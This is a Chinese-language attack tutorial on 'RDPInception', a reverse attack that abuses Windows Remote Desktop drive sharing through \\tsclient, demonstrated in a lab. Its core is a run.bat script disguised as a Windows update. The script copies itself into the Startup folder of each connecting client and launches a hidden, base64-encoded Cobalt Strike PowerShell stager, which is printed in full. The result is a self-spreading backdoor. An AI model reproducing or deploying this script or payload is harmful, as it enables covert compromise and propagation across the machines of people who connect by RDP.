基于文件传输的RDP反向攻击

1.简述

        RDP反向攻击的姿势有不少，本次是通过挂载盘符进行 RDP 反向攻击。其基本原理就是Windows 远程桌面客户端 mstsc 有一个盘符挂载选项，如果勾选了该选项，会开启磁盘共享功能，相当于将你的磁盘在远程主机上共享，你可以通过类似于 SMB 文件传输命令那样将位于远程主机上的文件复制到客户端主机上。如果我们通过相应的设置，在客户端连接远程主机的一瞬间，将远程主机上早已准备好的木马程序复制到客户端主机的启动项中，那么当客户端主机下一次启动时便会执行该木程序，客户端主机便可以成功上线。这种攻击方法又被称作 RDPInception。

攻击机：192.168.153.136          受害机：192.168.153.132     

2.mstsc挂载盘符

1）攻击机：Windows 远程桌面客户端 mstsc.exe 连接时设置详细信息，开启驱动器共享

2）攻击机远程登录受害机，在受害机的“网络” 中便可以发现一个名为 “tsclient” 的主机

3）这其实就是开启磁盘共享后，受害机为连接他的攻击机分配的名称。然后通过以下格式的命令便可以在受害机上访问连接他的攻击机了

dir \\tsclient\c    # 列出攻击机C盘目录

copy file \\tsclient\c    # 将文件复制到攻击机中

4）使用 “tsclient” 列出了攻击机上的C盘目录

5）使用 “tsclient” 将受害机上的test.txt成功复制到了攻击机上

        这种访问方式类似于使用 SMB 进行文件传输，虽然本质上都是 SMB 协议，但是使用 tsclient 无需进行身份认证。但要注意的是，只有通过远程登陆的用户才可以在受害机中访问tsclient，其他在受害机上本地登录的用户是无论如何也无法访问 tsclient 的。

3.RDP反向攻击

RDP反向攻击思路是在受害机的启动项中写入一个 .bat 脚本（run.bat），当一个客户端用户通过远程桌面连接到这个受害机时，在登陆之后会立即执行这个启动项中的 run.bat 脚本。run.bat 脚本执行后会首先遍历 tsclient 共享，发现 tsclient 共享后就会将自己复制到 tsclient 也就是连接受害机的客户端主机上的启动项中，然后执行一个 Cobalt Strike 生成的 PowerShell Stager。然后，当客户端主机重启或者注销重新登录后就会再次进行上述过程，同时会使客户端主机上线。

1）编写简单的run.bat脚本

# 关闭echo响应功能
@echo off
echo Updating Windows ...
# 关闭echo响应功能
@echo off
# 设置一个短时计数器，以确保tsclient进程被完全加载
timeout 1 >nul 2>&1
# 如果当前远程主机上可以访问到 tsclient, 则可以成功将 run.bat 通过 tsclient 复制到客户端主机上
copy C:\ProgramData\Microsoft\Windows\Start" "Menu\Programs\StartUp\run.bat \\tsclient\C\ProgramData\Microsoft\Windows\Start" "Menu\Programs\StartUp
# 最后执行 Cobalt Strike 生成的 PowerShell Stager
powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwBhADQAKwBpAFMAaAByACsAMwBQADAAcgArAEQAQwBKAG0AcgBaAHQAQgBkAHYATAAyAFUAeAB5AEYARQBRAFIAUQBSAFIAdgAyAEsAZgBUAEsAYQBBAFUARgBDAGcAbwBMAG8ASgBuADUANwA5AHYAZwBkAHIAVABzADkATwB6AE8AOABtAHUAaQBhAEUASwAzAHMAdABUAHoAMwB1AHAAVgA0AFgAUgBvAHgAcABoADIANABnAGsAWgBFAEwAcQBjAFEAVgB4AGEAQwBPAFAAbwB1AC8AdgBkADcARgBuAFIAUABrADYAWAA3AHoAdABZAGYAVABtAFkAMgBTADgAQQBkAFAARQBNAEEAeQBwAHYAKwAvAHYARgBJAEMAQgBTADUAVwAvAEoAQQBDAC8AdQBjAGkATQBIAFYAaQBsAGkAawAwAHUAQwBNADAAWQB3ADgAcgBkADMAZgAxAGQAOABTAHIAMgBRAHIAQwBEAGIAeAA2AEkANwBBAFMAKwB1AFQAQwB5AGsAQgBsAFMAWAA2AG4AeQBTADgALwAzAE8AZQBRAEMAMgAzAHYAOQA0AHcAOAAyAHgAaABoADYAMABXAFYAZgBHADgASwBvAEYANABiAFEAMQBSADAAYgBoAHUAVQBLADkAVQA5AHEAYgBVAEUATQBIADYAZgA2AEEAUgBvAFIAOQBUAGYAMQA1AGEAMAAyAGQASgBBAE8AbgBLAHQAWQB4AGcATABEAEkAcQBmAG8AZQBXAGIAKwBiAFkASQBNAGsASgArAGcAcAB2AHEATwBIAFoAVgBMAGYALwAxAFYAcQByAHcAOABOAGwANQByAGcAeQBBAEcAVABsAGcAdQBxAFYAawBZAFEAYgBkAG0ATwBrADYAcABRAG4AMgByADUAQQA0AFgAbQBRAC8ATABKAGMAawAyAE0AQQByAFIATABxAHEAdABiAFkAKwBoAGEAOABzAEMAdgBWAHkAQQBsAHkANwBZAFMANQBYAHIAeQBmAFkAKwBJAE8AZgA0ADkAUwBGAHoAcQB4AGUAZABjAG8AawBzAEYAYwBKAE4ANwA4AEoAaABxAFUAcQA5ADUAUAA1AGUAWABsACsAcABQADkALwBSAHoARwBNAHYAcwBsADEAWQBFADcAdwBJAFkAdQBTAHIARQBDAGUAMgBBAGMAUABhAEMASABpAG0AQQArAGQAdwBSADkAUgBLAEkAWQBtAFoAdAB5ADkAVgBDAEEAZwBNAG8AeABoADcAMQBBADAATAAwAFUAdgBRAEUAWgBhAC8AZQBMAEgAagBWAEkAbgBkAGwAOQArADEAKwAxAHEAVwA0AGUAbABHADcAdQA4AHEAbABUADgAcQBFAFMAawBsAHcAcABYAHEATgBTAGQAKwBoAHcANgBwAHkASgB1AEwATwBYAEsAYwBuADkAQgAvAFMASwA0AEsAKwBmADIAVQBZAEoAWAA3AGIANQArAGwAcQBnAGsAZAB1AEEAYwBSAGYASQBzAEkAdgB4ADkAeQA5AGYANwB1ADcAcQBWAFkAUQBuAEsAZQBzAG8ASgBDAHUAOQBEADcAUwB0AFcAcgBsAEUAUgBBAGcAQQBqAGgATABBAC8AbgBBAHMAZQB3ADgAdgBvADkAUABoAGUAMwBOADgAMgB3ACsAawB0AEQAagBaAHYAVwBWAGUAYwBTAG4AZwB1AE8AcgA5AFQATABDAHQAbgBtADYALwAxAGQANQBmADYAYQBQAGYAbgA3AE4AegAyADIASABSAFAAaQAvAFAAdQB2AHEANABHAEQATwA5AHUARABYAE8AWQBCADEAegBaAHUAQwBWAC8AKwBMAEcAWgB3ADUAOABDAEMAagA5AHAATgBUAEMAWQA0AHkANgBYAHIAQgAyAGgAeQBWADMAWgBLAE8AYQBFAHYAUAA2AHMATgBYAEQAdAA2ADEAKwAxAGYAdwBQAFUATQBFAHYAZQBRAG8AQwBJAHAAVQBmAGsAUgB6AEMAVwBHADUAWgBMAGcAUwBkAEEAbAAvAEYAMwAyAEoARQAyAC8ANwBFAGkAWgB3AFoAdgAwAHQAYgBTAHkAbQAvAGQAOABuACsAYwB5ADYANABBAHcAcgBGAEoASwBUAE8AcgBjAHEARgBJAHEAQgBBADQAMABxADEAVABQAEMAKwAzAHIAcAAxADQAYwBvAFcASgBaACsAZwA1AFgAaQBwADMASQBOAGsAQQBZADMAYwB5ADkAVgBqADYAaAA5AE8AcQBhAFIAUgA2AHAAbQBOAGcAZwAwAFMAVQAwAEwARgBRAGYARwBqAFoAdwBjAGwAYQBxADEATQBnADIAWQBUADkAVAA3AGYAMABOAFEAdQBsAFQAVABsAGoAZwBPAEsAVABrAGkASwBXAEUAeABJAFMAOAB5AGIAbABRAG8AegB4AG4AcwBGAG4AOQA5AC8AeQBvADEARgBRAFkAQwBhADcAdgBRAEoAZABJAEYAMQAyAEkAZAA4AEMAZQA5AEoAeAByAFIAUgBYAHAAQgB2AGIAUQBMAFAAMABIADIATABjADYAdQBSAFIARgB6AHQAVwBOAHAAQQArAGcAUwBRAEsAbwBEAG8AcQBxADEATQByAEcARQBlAGwAcgBwAGUAcABQAGkAZgBlAC8AdwBmAHUAeAB4AGYAdwBBAGsAOABYAHcARwBzAGgAeQBVAFkAagBDAGoAagBUADAAUwB4AGMAZwA3AEkAVAAyAG0AVABSAGoARwBGAEMAZABTAGwANgBDAEwALwAwAHMAeQBtAHUAcABNAEcAUABrADEAOAAzAFgAZAA2AEkATABXAG4ARgBFAGwASABpAE0AMwBEADQASQBZAGEAdQBwAEYAagAyAHUAWABHAEwAbwBlAEoAOQAyAGwAVQBrAHIAawB3ADQAQwBQAGMANAAwAFQAMAA0AE4AYgA0AFUASABDAFQAOABFAEwAUwB1AGQAMABUAEUAeQBGAGgARQBPAFIAZwBPAE8ANwBPAGMARwBIAFkAYgBPADAAUABGADEAYQB4AEsAQQBkAEgASQA0AHAARgAxADIAawB3ADIAVQBIAGoAMgB4AFcALwBhAHoATABjAFMAVAAvAHQAbgBqAGIAYwBNAGwAZQByAE0AcAAwAHUAWgBkAEwAQwBRAHkAagA1AHkAdwBMAGIATAA4AGUAZwBuAHMAUQAxAEQANABpAHQAMQBtAHcAeAB5AEEAYgBIAEkAMgBXAGgAYQBlADAAaABCAHAASgB6AGsAUQBFAHEAVgBuAHIAaABPAGoANQBZAHEASQBiADAAVgBFAGQAeABVAFAAWQBoADgAUAA0AHEAbQBpAHgAWgBOAGcANABnAHAAMgAwADAAcQA0AFYAVABSAE8AaABHAEYAbgBKAE4ASQBhADYARABoADYARwB4AGIANgBaAHAARAA3ADAAbwBKADkAQQB2AEwAOQB1AFoAdgB2ADcAWQBDAEYATwBQAGUAagBFAGYAWQBoADAAMgBqAEIAOQBiAGkAdABlAGIANABOADEALwBIACsAZgBKAEoAdAB3AHoAeAB6AGsAQgA2AFQAOQB6AEcAUwBEAEQAOQBrADUATABPAHgATwB4ADQAUAB3AEcAOABzADEAVwBOAEQAWABDAHkAMwBHADgASgBOAEEAdwBTAFkAMQAxAHQAWQAxAFgAdwBuAFcAZgBXAFcAUgAwAGIAWgA0AGcASgBiAHcAaABPAE0AYwBvADcAVABOAHUAagB4AFcAZgBPAFAAVwAzAE0AVgBEAEIAaABGAEYANQBZAGoAQgB3AGYAeAAyAEgAWQBiAFUAbAAzAEkAcgBqAEwAdQBPAEYAUABWAFAAbgBtAEsAVwAxAE0ATQBPAHMALwBtAG0AYwA1AEcAZgBoAE8AMABzAEUAMAA0AFQAWQBtAGYAZABzADYAdgBzAFEAdwBQAHcAbgByAHEARwBSAHYAZQBkAGcAMgBMADUAdQBZAEgAbwArAHYARwB3AFQAUABCADMAUgB6AEoAWQAzAEcAVAA0AGkAQQBhADQAeQBCAHgAZwB1AGUAcABZAHUAUwA0AEMANwAxAGMAZgB0AFoAMABwAGcAMABpAEgAKwBpAEgAaQBRAGcAZQBCAEYAcwA2AGcATwA0ADUAbgBJAGcAdwB5AGQAZQBaAHcAbwBsAHAASgBoAHkARQBUAHQAegBQADkAYgBnAFIATAB3ADAARwA2AFAARABNADAAWgAxADAAYwByAEsAVQA2AGIAVAB0AFkAVAB4AG0AOQBLAFQAZABiAFMAZgBLAGYASABNAE8AMgB2ADEAQQAzADYAVgBvAEkARwA1ADQAMQBSADIAYwBRAEMAZQBZAHkAMABrAHEAYwBDAHEAdgBlAHUAMwA5AGsANwBRAGMAZQBkAE8ANQAzAG4AaABPAHAAcwBzAEcAagBaAC8AeABJAGUAaQBMAEIAMQBWAHMAbQAwAG8AYQBNAFIAbQB5AHgARwBaAHoASAA5AGcAeQB2AFIAeABzADUANQB3ADcASABzAHkAUABqAGMAMQB3AEoAcwBjAEwAMwBoAEUAWAA5AFMANwBMADkAVABWADUAYwBKAEkAbQBzADAARQA2AFgAZABiAEgARwAvAFgASQBLADMATgByAHoAKwBsAGUAUAA5AGoAdQBKAGMARABOAEoAYQAzAEgAegBFAGsAOABUAEcAbgBGADkAegBoADkAWQAzAEQAOAByAEwANABZADkAbQBSAG0AdQBmAFIASAB1AGIAMwBDAFIAcgByAG4AdABIAFUAYQBiAEMAMgBrAGIAZAAwAEcAYgBmAFIAUQBMAEsAcgBLAC8AbQBIAHgAWgBIAFkAMwBSAHoAbwB4AFQAaQBDAGcANQBhAEgAUwBsAGEAVgBWAEsAbwB6AGgAMAB4AE4AcABSAFAAeABPAFAAUQB3AFgAdgBHADAAMQAzAEQAMgB5AHAASgBNADYAdwBqAFEASQBWADgATwBtAEoANwBQAG0AUABoADAAdwArAG8AcABiACsAVgBIAG0ASgB2AGIAVAB2AEIAawAwAFEAeQBtAGIAVwB0AE8AKwBFAGcAWQBzAGoAbABRAGQAVABIAHQAVwA3ADUAZwArAGQAUwBiAE0AcwBDAG4AdQBkADAARgA0AEgAdABmADkAZQByAHgAeAB4ADQASQBMAEUAegAxAHMASwB5AEwAUAA4ADEAbwBuAEoAZQB3AHQAVwBHAG0ANAB5AHIAaQArADYATwBOAEcAbAA0AHQAWAAzAHQAUgB0AFcAeABPAGsAUgBNAFoAWgBYADQAWABIAEEATABzAHUAagB5AFYAdgB2AEoAUQBRAEwAYgBLAE4ARgB1AEsANgBoADIANAA5AHEAeQBlAGIAWgByADMAcgBkAHgANgBzADcAYwBQAG0ASwBXADYAUgBwAE4AawBvAGEANwBpAHQAeAAvAEsAbwAyACsASgBUADUAcQB3AHkAQQBlADkAcABaADUAZQBVAGEAcAB2AHQAYwBWAFAAMgBBAGIARwBaAGYAagA1ADIAdABEADYAWQBaAGUAawBRAG4AQwBSAHQAaQBDAHcARgBpAGQAcAB1AFQAZQA4AEEAbQBMAEcAOABrADgAYgBoAFEAZgBPAFoAaABZAFAANAB4AGkAVwBuAGcAeQAzAEoAVgBWAEsAagBvAGkANgBjADgAMQBvAFYAZwBWAGIAVQByAEwAaQBGAFQAZgBPAFUAUgBtAGMAYQB0AFAAcwBuAFkAeABnAEgASwBmAG4AWABTAFUANAArAHIASQBuAHMASwBaAGMASgBBAHAAcgBrAHQAYQBTAHYAZwB4AFAASgBhADkARABpAHYARgA1AEwAUAA2AHkAZQBWADMAegBBAHoAcgBFAFEAcwA2AFQAdQA5AFQAcABrAG8AagBiAEkAdABJAE4AQQA3AEIAbwBQADMAQwBTAFIAMgB3AGIAVABGADgAQgBnAFYAbABmADUAZQBTAGcAUABMAEcAMwBHAHoAWQBYAFoAZwBKAFYAUwBuAGwAbgBwAFIAYQB2AGMASQBVAHkAbQBuAHoAUwBmAEsAUAA1AEIAawBlAGUAagBFADEASAB2AEQAWQArADAATwBkAEoAZQA4AC8AYwBQAEQAMABWAEwAdgBIAHYALwA5AFAASQBsAGYAYgAyAE4AawBlAC8ANwBSAHoAMABsADUAcABqAG4AKwA3AHQAdgB0ADMAawBoAEEAUgArADYANQBxACsAbQBNAHcAbgBnADAAQQBJAE8ANgBhAFoAawB3AHIAcgBkAGoAegB6AEMALwBIAFYATwBVAHAAQwBkAGEANQBUAEwAbgA0AC8AMgBSADQAZwA5ADYASgBDAHgAbAB3AHoARwB0ADEAdQBsADUAegBqAEkAeQBDAGUANwBYADQAeABZAGYANwA3ADMAZgBYAEoANwBMAHMAbQBTAG8AVAA5AGQAVgBiADUAZgBFAEoAWABLADcAZQByAFQANAA5ADIAdQBHAEgAKwB1AFIANwB4AE4AZwBkACsAdgBrAGkAMAA1AFgALwBVAEQAawBSAFAAbwA3AFMATwByAFMAdABWAFQAcABsADYAdgA1ADgAOQBtAG4AVgBqADcAZgBXAEoAWQA1AEcAZgBsAGQAMwB2AFYAZgBQADcANwBBAE8AVwBqAEsANgBkAHcAOQBUADYAdwA0AGQAaAB6ADQAZgA4AHgAQgBqADkANAAvAGUALwBzADUAdgB3AFYATQArAFIAMwA5AGcAcABFAG4AMQBPAFcAWAA4AHIALwBBAHQAQQBxAGoAZQBmAGoARABRAEEAQQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

2）将编写好的run.bat放在受害机系统启动项目录中

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

3）将受害机注销，攻击机进行远程连接，当连接成功时，受害机中启动项目录中rub.bat文件就会执行，受害机CS上线，且会将启动目录中的run.bat文件复制到攻击机启动目录中

4）当被攻击机重启或者注销重新登录之后，run.bat 里面的 PowerShell Stager 就会执行，攻击机就会CS上线

        RDP反向攻击成功，如果再有开启了驱动器共享的机器远程连接攻击机，那么攻击机启动目录中的run.bat会拷贝到这台机器启动目录中，这台机器注销或重启重新登录后，run.bat 里面的 PowerShell Stager 就会执行，这台机器就会CS上线，可继续进行RDP反向攻击（套娃）。

4.RDP反向攻击限制条件

（1）客户端的mstsc.exe必须要开启驱动器C盘共享

（2）客户端用户权限是管理员权限